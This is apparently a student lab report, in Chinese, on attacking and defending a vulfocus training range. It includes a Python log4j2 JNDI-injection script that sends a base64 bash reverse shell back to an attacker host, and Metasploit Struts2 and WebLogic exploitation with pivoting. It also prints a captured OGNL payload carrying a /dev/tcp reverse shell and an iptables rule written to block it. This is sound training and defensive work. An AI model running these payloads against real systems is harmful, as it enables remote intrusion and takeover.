VirtualBox
Version 7.0.10 r158379 (Qt5.15.3)Kali-Attacker
:VERSION_ID="2024.2"
hostname
:kali-attacker.mlab
ubuntu-victim
22.04.3 LTS (Jammy Jellyfish)
hostname
:ubuntu-victim.mlab
由于目前(2024 年 7 月)国内无法正常访问 docker 及其国内镜像
下面在 VirtualBox
的 虚拟机
中,配置使用 宿主机
的代理,以便拉取 docker 镜像
- 首先确保
虚拟机
已使用NAT
网卡连接到网络。
- 确保宿主机上的代理服务已经启动。
- 在
虚拟机
中配置使用宿主机
的代理
cat<< EOF > /etc/docker/daemon.json
{
"proxies": {
"http-proxy": "http://10.0.2.2:7890",
"https-proxy": "http://10.0.2.2:7890",
"no-proxy": "*.test.example.com,.example.org,127.0.0.0/8"
}
}
EOF
systemctl restart docker # 重启 docker 服务
- 检查代理是否配置成功
docker info | grep -i proxy
- 拉取镜像
docker pull vulfocus/vulfocus:latest
在 VirtualBox
的 NAT 模式下的拓扑图如下:
NAT
模式下,虚拟机
被分配到的 IP 地址均为 10.0.2.15
,其 网关
均为 10.0.2.2
这完全是一个 软件定义网络
,而且 Virtualbox
在 NAT
模式下,除了进行传统的 NAT
服务外,还有一个 便捷功能 ——将直接访问 网关 10.0.2.2
的流量转发到 宿主机
的 localhost回环网卡
中。
安装 jq
使得 start.sh
脚本能够解析 json
文件
sudo apt update && sudo apt install jq
由于 docker compose
已经默认集成到了 docker
中,这里对 start.sh 脚本第 47 行更新为 docker compose
:
成功访问 web
页面
wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip # 下载
unzip JNDIExploit.v1.2.zip # 解压
为方便分辨,这里攻击者的 hostname
已经配置为 kali-attacker.mlab
下面在 kali-attacker.mlab
上运行 JNDIExploit
:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i kali-attacker.mlab # 运行
nc -l -p 7777
由于直接在 vulfocus
中启动 漏洞环境镜像
默认 30 分钟后销毁,且由于其随机端口转发,不方便调试。故这里使用 docker-compose
直接启动 log4j
漏洞环境。
docker image: vulfocus/log4j2-rce-2021-12-09:1
services:
log4j:
image: "vulfocus/log4j2-rce-2021-12-09:1"
ports:
- "8080:8080" # 固定端口转发
"""log4j2 JNDI 注入"""
import base64
import urllib.parse
import requests
ATTACKER_HOSTNAME = "kali-attacker.mlab"
VICTIM_HOSTNAME = "ubuntu-victim.mlab"
shell_redirection = f"bash -i >& /dev/tcp/{ATTACKER_HOSTNAME}/7777 0>&1"
shell_redirection_bytes = shell_redirection.encode("ascii")
shell_redirection_b64 = base64.b64encode(shell_redirection_bytes).decode("ascii")
print(f"Encoded string: {shell_redirection_b64}")
params = {
# "payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjIxNC83Nzc3IDA+JjE=}",
# "payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjE2Mi83Nzc3IDA%2BJjE%3d}",
"payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/"
+ urllib.parse.quote_plus(shell_redirection_b64)
+ "}",
}
response = requests.get(
"http://ubuntu-victim.mlab:8080/hello",
params=params,
verify=False,
timeout=10,
)
print(response.request.url)
print(response.text)
在使用以下的 python
脚本验证 log4j2
漏洞时,遇到了下面的问题:
"""log4j2 JNDI 注入"""
import base64
import urllib.parse
import requests
# ATTACKER_HOSTNAME = "kali-attacker.mlab"
ATTACKER_HOSTNAME = "192.168.56.162"
VICTIM_HOSTNAME = "ubuntu-victim.mlab"
shell_redirection = f"bash -i >& /dev/tcp/{ATTACKER_HOSTNAME}/7777 0>&1"
shell_redirection_bytes = shell_redirection.encode("ascii")
shell_redirection_b64 = base64.b64encode(shell_redirection_bytes).decode("ascii")
print(f"Encoded string: {shell_redirection_b64}")
params = {
# "payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjIxNC83Nzc3IDA+JjE=}",
# "payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjE2Mi83Nzc3IDA%2BJjE%3d}",
"payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/"
# + urllib.parse.quote_plus(shell_redirection_b64)
+ shell_redirection_b64
+ "}",
}
response = requests.get(
"http://ubuntu-victim.mlab:8080/hello",
params=params,
verify=False,
timeout=10,
)
print(response.request.url)
print(response.text)
如上图所示,base64
编码后的字符串中含有 +
号,而 +
号在 url 编码
中表示 空格
但是 python requests
包会自动将 payload
自动进行 url 编码
,如上图所示,+
号被成功替换为了 %2B
但是,在 攻击者(Kali-Attacker) 接收到 被攻击服务器端(ubuntu-victim) 的,其 +
被替换成了 空格
——从而导致 base64 解码失败
使用 wireshark
抓包排查通信过程:
可以看到 攻击者(Kali-Attacker) 在接收时,+
就已经被错误替换成了 空格
(错误 base64
形式)
故可以初步推断 被攻击服务器端(ubuntu-victim) 在接收到 url
时,对于 parameters
部分后 进行了 2 次 url 解码 导致了上述问题
对于上述表现,由于笔者没有查看 被攻击服务器端(ubuntu-victim) 对于 url
的解析代码,故无法给出准确的 进行了 2 次 url 解码 的原因。同时,查看 jndi:ldap
对于特殊字符的转义处理,也与 url 编码
标准不同——其不会将 +
解码为 空格
(参见 Special Characters)
但是出于解决问题的目的,我们的 exp
代码可以进行 二次 url 编码
,从而解决上述问题。编码
部分的代码如下:
params = {
"payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/"
+ urllib.parse.quote_plus(shell_redirection_b64) # 第一次 url 编码
+ "}",
}
response = requests.get(
"http://ubuntu-victim.mlab:8080/hello",
params=params, # requests 自动会进行第二次 url 编码
verify=False,
timeout=10,
)
再在传输层面进行抓包验证:
再以 +
号为例,演示其编解码过程
攻击端(Kali-Attacker):+ -> %2B -> %252B
受害端(ubuntu-victim):%252B -> %2B -> +
直接导入 DMZ.zip 到 vulfocus
会显示文件上传失败:
但是查看 vulfocus
日志,可以看到 POST
返回状态码为 200:
猜测是由于场景中的 容器镜像版本更新
或者 vulfocus
本身没有注重版本兼容性导致的问题
于是干脆自己照着图手搓了示例中的攻防场景:
导出 DMZ_topology.zip 当前(2024 年 7 月)可用
无法直接启动 DMZ
靶场,前端页面显示 服务器内部错误
:
查看 vulfocus 日志发现 容器启动失败
:
使用 docker container ls -a
检查容器状态,发现 vulshare/nginx-php-flag
容器启动后错误退出:
查看 nginx
容器日志:
顺藤摸瓜检查 docker layer
:
怀疑由于启动命令 2.sh
导致的错误,查看 2.sh
脚本:
最后竟然发现是 dnslog.cn
无法进行域名解析
导致的错误
至于为什么 dnslog.cn
无法进行域名解析,黄老师在上课前恰好已经做了十足的讲解了(但是没有想象到在这个容器中出现)。
不由地猜测此镜像作者预留这行代码的初衷,而且还是使用的 &&
而不是 ;
进行连接——可能是为了在 dnslog.cn
统计此镜像的使用情况——但是还有一种情况是——这会暴露此用户的 DNS 服务器公网 IP 地址
——如果此容器:
- 运行在一个有
公网 IP
的服务器上(没有经过NAT
及防火墙),那么此用户的公网 IP
就会被dnslog.cn
记录下来。且在容器运行过程中,其ping
操作一直都会进行 - 容器端口被映射到了公网的网卡上
- 容器 vulshare/nginx-php-flag 的漏洞利用非常简单,而且可以拿到容器的
root
权限 - 如果该作者可以获取 dnslog.cn 网站中对于 [aa.25qcpp.dnslog.cn] 的
ICMP
日志,那么还可以获取到此容器的公网 IP
地址
攻击者可以据此确定该 IP
中正在运行 靶场容器
——从而对此脆弱容器发起攻击——那么原本的 靶场容器
就成 真肉鸡
了!
但是即使在 vulfocus
这样一个即使是 开源 的 漏洞集成平台
,官方 提供的镜像中竟然也存在着这样一个不大不小的可以称为为 “后门” 的命令——让人感慨!
故下面在 vulshare/nginx-php-flag
镜像的基础上,docker build
一波:
FROM vulshare/nginx-php-flag
RUN echo "#!/bin/bash\n\
/etc/init.d/nginx start && /etc/init.d/php7.2-fpm start\n\
while true; do sleep 1000; done" > /2.sh
导入我们新构建的 nginx-php-flag
镜像:
再更新 DMZ
靶场:
DMZ
靶场容器启动成功:
tmux
后台挂起 tcpdump
抓包:
container_name="ebee1d978a00"
docker run --rm --net=container:${container_name} -v ${PWD}/tcpdump/${container_name}:/tcpdump kaazing/tcpdump
在 msfdb init
后,msfconsole
无法连接 PostgreSQL
数据库,删除 msf
数据库(msfdb delete
)后重新初始化依然报错
尝试手动连接 postgreSQL
数据库,并根据错误信息更新 collection number
但是 Metasploit
依旧无法连接 PostgreSQL
数据库
找了一个最新的的 kali prebuilt
镜像 kali-linux-2024.2-virtualbox-amd64
,发现其能够正常连接 PostgreSQL
数据库
通过检查 TCP 端口
,发现在之前的 kali-attacker
中,PostgreSQL
服务启动了两个版本。从 apt policy
中也可以看到:
全新安装:
原 kali-attacker
:
故准备删除旧版本的 PostgreSQL 15
,检查其 rdepends
反向依赖:
确认删除无影响后,purge
PostgreSQL 15
:
再次尝试 msfdb init
发现端口未开放:
由于之前同时运行 postgress 15
和 postgress 16
,故 postgress 16
的端口号被 postgress 16
占用 5432
端口后使用 5433
端口,故更改 postgress 16
的端口号:
vim /etc/postgresql/16/main/postgresql.conf
更改 port
为 5432
:
systemctl restart postgresql # 重启服务
msfdb delete # 删除原数据库
msfdb init # 重新初始化
msfconsole # 进入 Metasploit
现在成功连接 PostgreSQL
数据库:
回想起自己当前使用的虚拟机是一路从 kali-linux-2023.3-virtualbox-amd64
滚动更新
到现在 2024.2
,一年时间!
滚动更新一时爽,版本冲突火葬场
信息收集——>nmap
端口扫描并尝试识别服务:
db_nmap -p 12862 192.168.56.175 -n -A
使用 Metasploit
的 exploit/multi/http/struts2_multi_eval_ognl
模块:
use exploit/multi/http/struts2_multi_eval_ognl
set payload payload/cmd/unix/reverse_bash # 设置 payload 为 bash 反弹 shell
options
配置如下:
成功获取 shell
后,查看 flag
:
如果直接使用老师示例中的命令 run autoroute -s 192.170.84.0/24
会显示 OptionValidateError The following options failed to validate
:
以下方法验证有效:
use multi/manage/autoroute
options
配置如下:
检查路由表:
use scanner/portscan/tcp
详细配置如下:
发现服务:
use multi/misc/weblogic_deserialize_asyncresponseservice
成功获取 192.169.84.2
主机 shell
:
获取 flag
:
同理,可以打下 192.169.84.3
& 192.169.84.4
并获取 flag
:
查看当前所有肉鸡的路由表以尝试横向移动:
sessions -c 'ip route'
发现在 session 14 (192.169.84.3)
中存在未知网段 192.169.86.0/24
更新当前网络路由表:
use multi/manage/autoroute
set SUBNET 192.169.86.0
set SESSION 16
配置如下:
更新后的路由表如下:
use scanner/portscan/tcp
配置如下:
发现 192.169.86.3:80
中有服务:
使用代理进行访问:
curl 192.169.86.3:80 -x socks5://127.0.0.1:1080; echo ''
已经在非常明显地提示我们这是一个 命令执行漏洞
了:
curl "192.169.86.3:80/index.php?cmd=ls+/tmp" -x socks5://127.0.0.1:1080; echo ''
tcpdump
抓包结果:tcpdump.pcap
由于直接使用 TCP
协议进行 shell
重定向(直接明文通信),故可以直接查看到入侵后肉鸡与攻击者之间的所有通信内容:
使用过滤条件 ip.addr == 192.168.56.162 and tcp.port == 4444
以其中一段 shell
通信为例:
可以看到在攻击过程中,HTTP
请求中包含大量的包含攻击性的 payload
:
探测服务时使用了大量的 ICMP
包:
釜底抽薪,对于门户网站服务器存在的 CVE-2020-17530 漏洞,NIST
对于 Forced OGNL evaluation
的修复建议均为更新 Struts
到 2.5.26
或更高的版本
这里不使用更新 Struts
包的方式,而是使用 热补丁
的方式进行修复缓解漏洞利用
Struts
框架(JAVA)中在处理 OGNL
表达式(另一种语言)时,当此表达式可以来自于用户输入时,攻击者可以构造恶意的 OGNL
表达式,从而执行任意代码
查看 metasploit
对于此漏洞的 exploit
模块中的 关键代码
可以看见关键的 payload
如下:
从我们 tcpdump
中抓取的包中,也可以看到相应的关键 payload
:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec({"bash -c {echo,YmFzaCAtYyAnMDwmMzMtO2V4ZWMgMzM8Pi9kZXYvdGNwLzE5Mi4xNjguNTYuMTYyLzQ0NDQ7c2ggPCYzMyA+JjMzIDI+JjMzJw==}|{base64,-d}|bash"}))}
上面的 payload
中,要实现 任意代码执行
最关键同时同时也是最不可避免的部分如下:
(#execute.exec({"bash -c {echo,YmFzaCAtYyAnMDwmMzMtO2V4ZWMgMzM8Pi9kZXYvdGNwLzE5Mi4xNjguNTYuMTYyLzQ0NDQ7c2ggPCYzMyA+JjMzIDI+JjMzJw==}|{base64,-d}|bash"}))
execute.exec
是非常明显的 命令执行
恶意代码
最开始想使用类似于 WAF
的 反向代理
进行 payload
的检测。但是由于当前是使用 HTTP
协议进行 明文通信,故这里直接使用 iptables
进行 恶意负载
的检测与拦截
echo '未添加任何 iptables 规则前'
iptables -D DOCKER-USER -p tcp -m string --string 'execute.exec' --algo bm -j DROP
echo '添加 iptables 规则后'
iptables -I DOCKER-USER -p tcp -m string --string 'execute.exec' --algo bm -j DROP # DROP 含有 'execute.exec' 的 TCP 包
在写 iptables 规则时,想当然地 认为应该写在 Filter
表的 INPUT
链上:
iptables -I INPUT -p tcp -m string --string 'execute.exec' --algo bm -j DROP
发现在应用规则后,依然无法成功拦截高危负载 execute.exec
的 TCP 包
后面才醒悟,虽然 Docker Proxy
将 容器
的端口 “暴露” 了出来,但是这些 TCP
包不是直接 INPUT
宿主机
的,而是会经过 FORWORD
到 docker
容器中——所谓软件定义网络 software-defined networking
Tables/Chains | PREROUTING | INPUT | FORWARD | OUTPUT | POSTROUTING |
---|---|---|---|---|---|
(路由判断) | Y | ||||
raw | Y | Y | |||
(连接跟踪) | Y | Y | |||
mangle | Y | Y | Y | Y | Y |
nat (DNAT) | Y | Y | |||
(路由判断) | Y | Y | |||
filter | Y | Y | Y | ||
security | Y | Y | Y | ||
nat (SNAT) | Y | Y | Y |
- 收到的、目的是本机的包:
PRETOUTING
->INPUT
- 收到的、目的是其他主机的包:
PRETOUTING
->FORWARD
->POSTROUTING
- 本地产生的包:
OUTPUT
->POSTROUTING
从下面的实验中可以看出 iptables
规则应用在 Filter
表的 INPUT
链上的效果:
但是我们外部主机访问 DOCKER
容器需要经过 FORWORD
,所以应该将规则应用在 Filter
表的 FORWARD
链上:
在 docker
路由中,则已经有专用的 DOCKER-USER
chain
以供上述需求:
所以,作为最佳实践应该添加下述 iptables
规则:
iptables -D DOCKER-USER -p tcp -m string --string 'execute.exec' --algo bm -j DROP
一些自认为有技术含量的工作
Virtual Box
在NAT
模式下,通过访问10.0.2.2
的网关
访问宿主机localhost
网卡的特性的活用- 在
log4j2 漏洞
利用失败后,通过Wireshark
在传输层面的负载
并结合日志
逐步排查log4j2 漏洞
利用过程,最后反推出是url 编解码
导致的漏洞利用失败 - 逐步排查
靶场
启动失败的原因,并通过Dockerfile
重新构建镜像并成功启动 - 通过对比纯净安装的
Kali
虚拟机与问题虚拟机的环境,解决了由于Kali
滚动更新
导致多版本PostgreSQL
同时共存导致的Metasploit
无法连接PostgreSQL
数据库的问题 - 活用
Metasploit
的autoroute
模块进行灵活路由 - 对于
iptables
的调试,理解docker
网络在宿主机
中的路由